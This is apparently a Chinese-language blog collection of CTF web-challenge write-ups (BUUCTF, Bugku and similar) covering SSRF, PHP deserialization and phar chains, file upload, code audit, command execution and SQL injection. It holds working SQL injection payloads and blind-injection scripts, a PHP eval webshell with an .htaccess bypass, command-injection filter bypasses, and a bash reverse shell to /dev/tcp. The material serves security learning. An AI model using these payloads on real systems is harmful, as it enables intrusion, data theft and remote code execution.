SSRF
[网鼎杯 2018]Fakebook
注入+序列胡+SSRF 都是基础
robots.php下有提示部分源码
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
可以看到我们登陆的信息被序列话存储,并且这里开启了
curl
函数,怀疑有SSRF的可能。登陆后在view.php处,发现注入。
// 过滤方式应该是union%20select,打两个空格或者/**/代替即可
no=0 union/**/select 1,2,3,4
fakebook
no=0 union/**/select 1,database(),3,4
users
no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
no,username,passwd,data
?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' and table_schema=database()
?no=0 union/**/select 1,group_concat(data),3,4 from fakebook.users
这里看了看只有data有用
得到:
O:8:"UserInfo":3:{s:4:"name";s:6:"theoyu";s:3:"age";i:18;s:4:"blog";s:14:"http://123.com";},O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:18;s:4:"blog";s:13:"www.baidu.com";}
联系上面源码处的curl
函数,构造payload实现SSRF
<?php
class UserInfo
{
public $name;
public $age;
public $blog;
public function __construct()
{
$this->name="theoyu";
$this->age=18;
$this->blog="file:///var/www/html/flag.php";
}
}
echo(serialize(new UserInfo()));
//O:8:"UserInfo":3:{s:4:"name";s:6:"theoyu";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
?>
其实也不用构造,直接对着改一下也行...
payload:
?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"theoyu";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
data的位置是4,所以我们在第四个位置注入,将得到内容base64解码即可。
序列化
CISCN2019 Dropbox
phar
登陆后,随便上传一个文件,在下载处发现任意文件读取,下载源码。
download.php
处有对flag
的过滤,可以确定应该是去读取关于和flag
相关的文件,这里比较恶心,文件是flag.txt
,没有任何提示。
要想对文件进行读取,在class类close()
发现file_get_contents
函数,而调用close()
的地方只有两处,一处是download.php
下,但是前面说了这里对flag
有所过滤,所以基本上可以否定。
还有一处是User
下__destruct()
对$db
的close()
只要把$db声明为File的一个对象即可。
纵观所有内容,其实并没有发现反序列化的点,但是在open()
函数中我们发现了file_exists()
这个触发phar
的反序列化,这样就好说了,我们构造:
<?php
class User
{
public $db;
public function __construct()
{
$this->db = new File;
}
}
class File
{
public $filename;
public function __construct()
{
$this->filename = '/flag.txt';
}
}
@unlink("2.phar");
$o = new User();
$phar = new Phar("2.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
然后改名为2.gif
上传,在下载处抓包改为phar://2.gif
,然而发现并没能成功,原因我猜应该是file_get_contents
只是return了,并没有输出,我们重新找一下有没有输出的地方。
在Filelist
中我们发现了输出,但是这个类并没有close()
函数,最巧的是__call()
函数中就利用了这一点为我们构造了不存在函数。那pop链重新改为:
<?php
class User
{
public $db;
public function __construct()
{
$this->db = new FileList;
}
}
class FileList
{
private $files;
private $results;
private $funcs;
public function __construct()
{
$file = new File;
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}
class File
{
public $filename;
public function __construct()
{
$this->filename = '/flag.txt';
}
}
$o = new User();
$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
同理改名抓包,终于得到flag。
[极客大挑战 2019]PHP
扫目录下载/www.zip
,得到源码
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
和11月校赛的序列化基本上思路一样,payload:
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
[安洵杯 2019]easy_serialize_php
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
在
phpinfo()
里我们看到一个d0g3_f1ag.php
,访问没有结果。源码最后有一个
file_get_contents
函数,看来想得到flag就得利用好这里,尤其是img参数。
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
这个地方比较有意思,只要我们POST _session
,那么"user"和"function"就会置空,但并不代表我们可以修改img,可以看到想要修改img的值就用一个sha1,这是我们不可控的。
而比较巧的地方就在于filter
函数,看到这里其实就很容易想到字符减少导致反序列化逃逸,之前的文章有详细说过。
文件上传
你传你马呢
阿,看这优美的界面~

肯定是让我们传一句话木马,随便传了一个图片。
回显了文件路径。
想传一个php文件,把毕生所学用尽了,也没能成功。
想到之前在DVWA上学的一个姿势,传.htaccess文件,但其实有点虚,因为之前的php文件改content-type上传失败了,不确定这个能不能成功。
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
这里我们要用到的就是改变文件拓展名功能。
#第一种写法 匹配需要修改的文件名
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
#第二种写法 把jpg文件全部当作php解析
AddType application/x-httpd-php .jpg
#一句话图片马
shell.jpg
<?php @eval($_POST['theoyu']) ?>
先把.htaccess文件上传,记得改content-type为image/jpeg。
上传成功,接下来把shell.jpg正常上传就行。
蚁剑连接,根目录里拿到flag,顺便看一下php代码。
<?php
session_start();
echo "
<meta charset=\"utf-8\">";
if(!isset($_SESSION['user'])){
$_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {
$target_path = getcwd() . "/upload/" . md5($_SESSION['user']);
$t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
$uploaded_tmp = $_FILES['uploaded']['tmp_name'];
if(preg_match("/ph/i", strtolower($uploaded_ext))){
die("我扌your problem?");
}
else{
if ((($_FILES["uploaded"]["type"] == "
") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")|| ($_FILES["uploaded"]["type"] == "image/png")) && ($_FILES["uploaded"]["size"] < 2048)){
$content = file_get_contents($uploaded_tmp);
mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
move_uploaded_file($uploaded_tmp, $t_path);
echo "{$t_path} succesfully uploaded!";
}
else{
die("我扌your problem?");
}
}
}
?>
可以看到正则表达式里有匹配/ph/i
,即不区分大小写,导致php所有后缀以及phtml这一类的全部失败..而黑名单外仅仅只是对文件类型以及大小有限制。
代码审计
[HCTF] 2018 WarmUp
打开题目,F12
发现source.php
,进入发现源码。
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
整个流程:
- 传入file不为空
- file为字符串类型。
- 将file传入emmm类的checkFile函数中。
如果三个均为真,则执行include $_REQUEST['file']
,应该就可以得到我们的flag。
现在分析checkFile中的几个函数:
- mb_strpos('aaabc','b'):返回要查找的字符串在第一个一个字符串中首次出现的位置
- mb_substr(string,start,length):返回字符串string从start开始后长为length的字串。
重新分析源码:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
//白名单
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
//第一次匹配
if (in_array($page, $whitelist)) {
return true;
}
//提取page第一个?前的字符串
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
//第二次匹配
if (in_array($_page, $whitelist)) {
return true;
}
//对page进行url解码
$_page = urldecode($page);
//提取page第一个?前的字符串
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
//第三次匹配
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
我们先访问/hint.php 发现回显flag not here, and flag in ffffllllaaaagggg,那么我们最后应该要把
ffllllaaaagggg给include
进去。
结合前面的php审计,构造?file=hint.php?/../../../../ffffllllaaaagggg
,
在hint.php?处 问号被拦截,payload变成 ?file=hint.php ,在白名单符合第二次匹配 return true;
include函数,如果在../../目录前有其他字符,会自动忽略
我不断尝试../ 找到ffffllllaaaagggg所在路径即可得到flag
命令执行
[GXYCTF2019]禁止套娃
进入题目什么信息也没有,御剑扫目录也扫不出来,wp说有git泄露(说能扫出来 用dirsearch也没扫出来)
之后python2 .\GitHack.py http://b67f0db7-83dd-44bb-aee2-b2febcd7faa0.node3.buuoj.cn/.git/
得到源码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
- 第一层过滤,php伪协议全部阵亡
- 第二层过滤,只能无参传输
[GXYCTF2019]Ping Ping Ping
命令执行,ls发现flag.php文件,但是空格和很多符号都被过滤了
绕过空格:$IFS$9
、IFS
都可以,${IFS}$9、 {IFS}不行({}被过滤)
flag
也被过滤,先打开index.php看看。
下面有两个方法绕过。
- 字符拼接。根据正则表达式的贪婪匹配,只要flag不写在一起就没有关系。
payload:?ip=127.0.0.1;b=g;cat$IFS$1fla$b.php
- 内联执行
payload:?ip=127.0.0.1;cat$IFS$9'ls'
[SKCTF]login2
其实是bugku上面的题
初始是一个登陆界面,没有注入,抓包试试,在tip里找到一串base64密文,解密
$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){}
可以看出是一个分离式的查询,先找到username
,再把username的密码拿出来和我们输入的password进行验证。
在联合查询时,会生成一个不存在的用户(在下面sql注入第一题有讲到),利用这一点,我们payload
post
username=Theoyu' union select 1,md5(1)#&password=1
之后我们进入一个进程监控系统,应该是命令执行漏洞,但无论我们怎么输入,都没有回显。
方法1 时间盲注
test
1;sleep(3)
感觉可以进行命令注入(时间盲注)
import requests
url = 'http://114.67.246.176:16688/login.php'
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36'}
s = requests.session()
# keep session_id
data = {'username' : 'impossible\' union select 1,\'76a2173be6393254e72ffa4d6df1030a\'#', 'password' : 'passwd'}
s.post(url, data = data, headers = headers)
# sign in first
url = 'http://114.67.246.176:16688/index.php'
len = 1
while(1):
payload = 'nothing;str=`ls`;if [ ${#str} -eq ' + str(len) + ' ] ;then sleep 4;fi'
data = {'c' : payload}
try:
s.post(url, data = data, headers = headers, timeout = 3)
except requests.exceptions.ReadTimeout:
break
len += 1
print('Length of `ls`:' + str(len))
ls = ''
for i in range(len):
for dict in " abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~`!@#$%^&*()-_=+[]{};:\'\"|\,<.>/?":
payload = 'nothing;str=`ls`;if [ ${str:' + str(i) + ':1} == \'' + dict + '\' ] ;then sleep 4;fi'
#print(payload)
data = {'c' : payload}
try:
s.post(url, data = data, headers = headers, timeout = 3)
except requests.exceptions.ReadTimeout:
ls += dict
print(dict)
break
if(dict == '?'):
ls += ' '
print(' ')
print('`ls`:' + ls)
出了一些小问题,我记得我第一次做的时候是跑出来了一个xxxx.txt文件,访问就得到了flag,回来做wp的时候发现文件不见了。

方法2 反弹shell
猜测应该只是把输出过滤了,采用反弹shell的方法
先在服务器上开启端口,再开启监听
nc -nvlp 12345
再payload:
1;bash -i >& /dev/tcp/ip/端口 0>&1

<?php
if(isset($_POST['c'])){
$cmd = $_POST['c'];
exec('ps -aux | grep '.$cmd, $result);
foreach($result as $k){
if(strpos($k, $cmd)){
echo $k.'<br>';
}
}
}
?>
简单粗暴
sql 注入
[BJDCTF 2nd]简单注入
单引号过滤
随便尝试了一下,发现单引号被过滤。
再fuzz一下 大概过滤了= like ' " select and
,# ^ ()
都存活了下来
据说扫目录可以扫到hint.txt
,对不起是我的字典拉跨了,没扫出来,里面有hint。
select * from users where username='$_POST["username"]' and password='$_POST["password"]';
那么单引号被过滤的问题就解决了,我们只需要post:username=theoyu\&password=123#
那么第一个反斜杠就可以把第二个单引号给转义,后台实际接受的就是
select * from users where username='theoyu\' and password = '123#’
我们再对password做一些修改
post
username=theoyu\&password=or 1>2#
构造
select * from users where username='theoyu\' and password = 'or 1>2#'
返回为错时
返回为真时
这样我们就可以构造bool注入
脚本如下
import requests
url = "http://d8e27f04-d2ea-4191-adc0-0e2d22651ce9.node3.buuoj.cn"
data={"username":"admin\\","password":""}
flag = ''
i=0
while (True):
i=i+1
head=32
tail=127
while(head<tail):
mid=(head +tail) //2
# payload="or if(ascii(substr(username,%d,1))>%d,1,0)#"%(i,mid)
payload="or if(ascii(substr(password,%d,1))>%d,1,0)#"%(i,mid)
data['password']=payload
r=requests.post(url=url,data=data)
if "strong" in r.text:
head=mid+1
else:
tail=mid
if head!=32:
flag+=chr(head)
print(flag)
else:
break
登陆即可获取flag
[GXYCTF2019]BabySQli
伪造表单登陆
登陆界面,抓包,注入发现过滤的不少。F12在源码处看到提示,base32+base64解码得到:select * from user where username = '$name'
,因为过滤的实在太多,不太可能爆表,应该是其他路子。
在联合查询时,会暂时生成一个虚拟表单。
利用这个特性我们可以尝试在name处联合查询创建虚拟表单,再用伪造的pw登陆。
' union select 1,2,3# 发现有三个表
' union select 1,admin,3# 用户在第二列,为admin
数据库在存储密码时是md5加密,所以我们伪造的时候直接放md5加密过的,然后pw输入密码
[SKCTF] login3
异或注入
一个登陆界面,随便登陆,抓包。回显username does not exist!
把username改为admin
尝试,发现回显变为password error!
看来是一个分离查询,猜想查询过程大概为
SELECT username,password FROM admin WHERE username='$username'
fuzz发现过滤了空格,用()代替,过滤的=用<>代替,因为,
被过滤,if就用不了了,采用^异或来判断正确性。脚本如下:
import requests
url="http://114.67.246.176:12734/"
str_all = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
flag=""
r=requests.session()
database=""
# for i in range(30):
# for j in str_all:
# name="admin'^(ascii(mid(database()from({})))<>{})^0#".format(i,ord(j))
# data ={
# "username":name,
# "password":"123"
# }
# res=requests.post(url=url,data=data).text
# if "error" in res:
# database+=j
# print(database)
# break
#bindsql
table=""
for i in range(35):
for j in str_all:
name="test'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(i,ord(j))
data ={
"username":name,
"password":"123"
}
res=requests.post(url=url,data=data).text
if "error" in res:
table+=j
print(table)
break
#4dcc88f8f1bc05e7c2ad1a60288481a2
但是都失败了..最后把这两个猜出来出来
爆出密码后md5解密登陆即可获得flag
[极客大挑战 2019]BabySQL
双写注入
单引号发现存在注入 ,简单fuzz一下发现过滤很多,但都可以双写绕过
?username=1' oorr '1'='1&password=1' oorr '1'='1
爆表
?username=1
&password=1' uunionnion sselectelect 1,2,group_concat(table_name) frofromm infoorrmation_schema.tables whwhereere table_schema=database() %23
爆列
?username=1
&password=1' uunionnion sselectelect 1, 2,group_concat(column_name) frofromm infoorrmation_schema.columns whwhereere table_name='b4bsql'%23
爆字段
?username=1
&password=1' uunionnion sselectelect 1, 2,group_concat(passwoorrd) frofromm b4bsql %23
[极客大挑战]HardSQL
报错注入
过滤了空格,and,or等等,想到用报错注入,用^异或代替or
?username=1'^extractvalue(1,concat(0x7e,database(),0x7e))^'0
#^'0是为了闭合单引号
&password=1
爆表
?username=
1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like'geek'),0x7e))^'0
&password=1
爆列
?username=
1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like'H4rDsq1'),0x7e))^'0
&password=1
爆字段
?username=
1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e))^'0
&password=1
报错注入只能显示32位,后面的可以用reverse或者right来显示
?username=
1'^extractvalue(1,concat(0x7e,(select(group_concat(right(password,20)))from(H4rDsq1)),0x7e))^'0
&password=1
信息收集
[BJDCTF 2nd]elementmaster
在源码处发现506F2E
以及706870
,hex to string得到Po.php
,访问回显.
然后就没有其他信息了,背景的国籍以及划集重点的门捷列夫好像在提示着我们元素周期表,结合Po.php回显了.
,想到其他的元素会不会也回显什么内容呢?
import os
import requests
url= "http://f860c48a-69ee-4c82-ae66-f4537d22d4af.node3.buuoj.cn/"
elements =('H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br',
'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te',
'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm',
'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn',
'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue')
flag=""
for smp in elements:
res=requests.get(url+smp+".php")
if res.status_code==200:
print(res.text,end='')
flag+=res.text
else:
continue
访问即获得flag